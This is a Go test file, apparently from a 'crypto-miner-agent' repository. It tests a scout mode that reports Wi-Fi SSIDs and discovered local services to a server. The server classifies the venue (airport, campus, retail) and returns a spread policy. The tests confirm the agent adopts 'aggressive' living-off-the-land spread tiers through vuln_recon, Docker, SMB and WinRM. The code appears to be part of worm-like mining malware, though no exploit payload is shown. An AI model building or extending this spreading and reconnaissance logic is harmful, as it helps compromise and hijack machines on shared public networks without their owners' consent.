Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
72 lines
1.9 KiB
Go
72 lines
1.9 KiB
Go
package client
|
|
|
|
import (
|
|
"encoding/json"
|
|
"os"
|
|
"testing"
|
|
|
|
"crypto-miner-agent/config"
|
|
"crypto-miner-agent/deploy"
|
|
)
|
|
|
|
func TestScoutReportPayloadIncludesSSID(t *testing.T) {
|
|
t.Setenv("AETHERFORGE_WIFI_SSID", "Campus-Guest")
|
|
if got := deploy.ScoutWiFiSSID(); got != "Campus-Guest" {
|
|
t.Fatalf("ssid=%q", got)
|
|
}
|
|
|
|
result := deploy.ServiceDiscoverResult{
|
|
ProbedAt: "2026-06-07T12:00:00Z",
|
|
Local: deploy.ServiceGraphHost{Host: "127.0.0.1"},
|
|
}
|
|
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ScoutMode: true}}}
|
|
|
|
report := map[string]interface{}{
|
|
"join_lane": "docker",
|
|
"service_count": 4,
|
|
"service_graph": result,
|
|
"scout_mode": true,
|
|
}
|
|
if ssid := deploy.ScoutWiFiSSID(); ssid != "" {
|
|
report["ssid"] = ssid
|
|
}
|
|
raw, err := json.Marshal(report)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
var decoded map[string]interface{}
|
|
if err := json.Unmarshal(raw, &decoded); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if decoded["ssid"] != "Campus-Guest" {
|
|
t.Fatalf("ssid=%v", decoded["ssid"])
|
|
}
|
|
_ = c
|
|
}
|
|
|
|
func TestApplySpreadPolicyScoutConstellationTemperament(t *testing.T) {
|
|
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
|
ScoutMode: true, LotlPolicyFromServer: true,
|
|
LotlOnionTiers: []string{"discover_and_join", "service_graph"},
|
|
}}}
|
|
raw, _ := json.Marshal(map[string]interface{}{
|
|
"scout_constellation": true,
|
|
"persona_pack": "aggressive",
|
|
"venue_class": "retail",
|
|
"spread_temperament": map[string]interface{}{
|
|
"tier_order": []string{"vuln_recon", "docker", "smb", "winrm"},
|
|
},
|
|
})
|
|
c.applySpreadPolicyJSON(raw)
|
|
if len(c.cfg.LotlOnionTiers) == 0 || c.cfg.LotlOnionTiers[1] != "docker" {
|
|
t.Fatalf("tiers=%v", c.cfg.LotlOnionTiers)
|
|
}
|
|
}
|
|
|
|
func TestScoutWiFiSSIDEmptyWithoutEnv(t *testing.T) {
|
|
_ = os.Unsetenv("AETHERFORGE_WIFI_SSID")
|
|
if got := deploy.ScoutWiFiSSID(); got != "" {
|
|
t.Fatalf("expected empty ssid, got %q", got)
|
|
}
|
|
}
|